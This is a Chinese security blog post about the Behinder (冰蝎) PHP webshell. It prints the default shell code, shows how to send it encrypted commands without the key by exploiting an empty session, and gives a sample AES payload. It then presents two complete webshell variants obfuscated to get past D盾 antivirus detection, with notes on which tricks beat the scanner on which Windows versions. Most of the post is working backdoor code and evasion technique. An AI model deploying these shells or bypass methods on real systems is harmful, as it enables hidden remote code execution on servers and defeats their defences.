微慑信息网

冰蝎后门木马相关测试の一(免密登录、免杀测试)| vulsee.com

冰蝎默认php木马:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

(1)无法密码访问冰蝎马复现:

参考https://www.t00ls.net/thread-56337-1-1.html

主要是:

if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];

在传输中当存pass参数时,则对生成随机数进行md5生成key并赋值给SESSION;当数据包不包含pass参数,则直接执行else下面语句,且当无法获取SESSION值,即_SESSION为空(不访问pass=1,则无_SESSION,后面对冰蝎抓包,该处会访问2次,应该是为了产生session),可直接进行ase128加密,而无需key值,即加密key为空,通用可解:

另,在else中通过explode()函数对传入值以|为分隔符,对数据进行打散为数组,故构造:|phpinfo();

$params=$arr[1];

则取值实际为phpifo();

通过

openssl_encrypt('|phpinfo();','AES128','');

|phpinfo();

进行AES128加密结果为:

4eNW1rQ1TnE2zNJbafdykw==

burp发包:

(2)若服务器未开启openssl组件:

在冰蝎代码中,将通过base64编码对传输数据进行处理(需要key,仅测试):

if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}

php中 字符串转16进制:

bin2hex() ;

 

16进制换字符串:

function hexToStr($hex) {
  $str = "";
  for ($i = 0;$i < strlen($hex) - 1;$i+= 2) $str.= chr(hexdec($hex[$i] . $hex[$i + 1]));
  return $str;
}

按位运算:英文:bitwise operators

因为是异或,直接通过源代码中

$post="|phpinfo();";
$key="a1e314eec27951ca";
for($i=0;$i<strlen($mstring);$i++) {
   	 $mstring[$i] = $mstring[$i]^$key[$i+1&15];
	print $mstring[$i]."\r\n";
   	}
echo "post is :".$post;

生成结果:

post is :M[A]

对结果进行base64编码:

TRVbQV0LAwwaHgI=

 

 

 

 

(3)本地免杀:

D盾为例,先提示已知后门,二分法确认代码位置在

openssl_decrypt

再根据提示进行免杀:

针对php://input绕过,使用自定义函数

针对base64_decode绕过,使用字符串函数

针对eval绕过,使用异或,使D盾不认识evalassert

 

免杀马1:

<?php
@error_reporting(0);
session_start();
function encc(){
    return base64_encode("php://input");
}
 
function denc($str){
    return base64_decode($str);
}
 
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $f="file_g"."et_conte"."nts";
    $fstr=denc(encc());
    $post=$f("".$fstr."");
    
    if(!extension_loaded('openssl'))
    {
        $t="base64_123"."decode";
        $t=str_replace("123","",$t);
        $post=denc($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                $p=$post[$i];
                $k=$key[$i+1&15];
                 $post[$i] = $p^$k;
                }
    }
    else
    {
        $o="ope"."nssl_"."decrypt";
        $post=$o($post, "AES128", $key);
 
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);
}
?>

 

免杀马2:

<?php
@error_reporting(0);
session_start();
function encc(){
    return base64_encode("php://input");
}
 
function denc($str){
    return base64_decode($str);
}
 
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{   
    $key=$_SESSION['k'];
    $res='';
    $f="file_g"."et_conte"."nts";
    $fstr=denc(encc());
    $post=$f("".$fstr."");
    
    if(!extension_loaded('openssl'))
    {
        $t="base64_123"."decode";
        $t=str_replace("123","",$t);
        $post=denc($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                $res=substr_replace($res,$post[$i]^$key[$i+1&15],$i,0);
                }
        $post=$res;
 
    }
    else
    {
        $o="ope"."nssl_"."decrypt";
        $post=$o($post, "AES128", $key);
 
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);
}
?>

折腾半天终于OK;

 

 

问题记录

1、测试中发现D盾对存在带数组结构赋值异或时,会提示告警级别为2的”可疑文件”:

 

主要在于目标站未开启openssl情况下;通过对异或的两个值分别进行赋值处理,或者substr_replace()函数(https://www.w3school.com.cn/php/func_string_substr_replace.asp)处理后进行绕过:

原代码:

		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}

替换为:

A.

		for($i=0;$i<strlen($post);$i++) {
				$p=$post[$i];
				$k=$key[$i+1&15];
    			 $post[$i] = $p^$k;
    			}

或者

B.

		
		for($i=0;$i<strlen($post);$i++) {
				$res=substr_replace($res,$post[$i]^$key[$i+1&15],$i,0);
    			}
		$post=$res;

2、看到ranchen的https://www.t00ls.net/viewthread.php?tid=57049,使用的也是D盾2.1.5.4测试版,但没有”可疑文件”的提示,不知什么原因;在后来测试中发现跟操作系统有关:

(注:bx1.php/bx2.php为2个修改后的文件;

ranchen_shell.php为ranchen大佬的文件;

test.php内容为<?php $a[] = $post[$i]^$key[$i+1&15];?>)

(1) 测试win10下:

(2)win7下:

(3)win2008R2

参考:
https://www.t00ls.net/viewthread.php?tid=57049
https://www.t00ls.net/viewthread.php?tid=55753:

 

 

 

 

本文标题:冰蝎后门木马相关测试の一(免密登录、免杀测试)| vulsee.com
本文链接:
(转载请附上本文链接)
http://vulsee.com/archives/vulsee_2020/0805_11686.html
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » 冰蝎后门木马相关测试の一(免密登录、免杀测试)| vulsee.com
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

微慑信息网 专注工匠精神

访问我们联系我们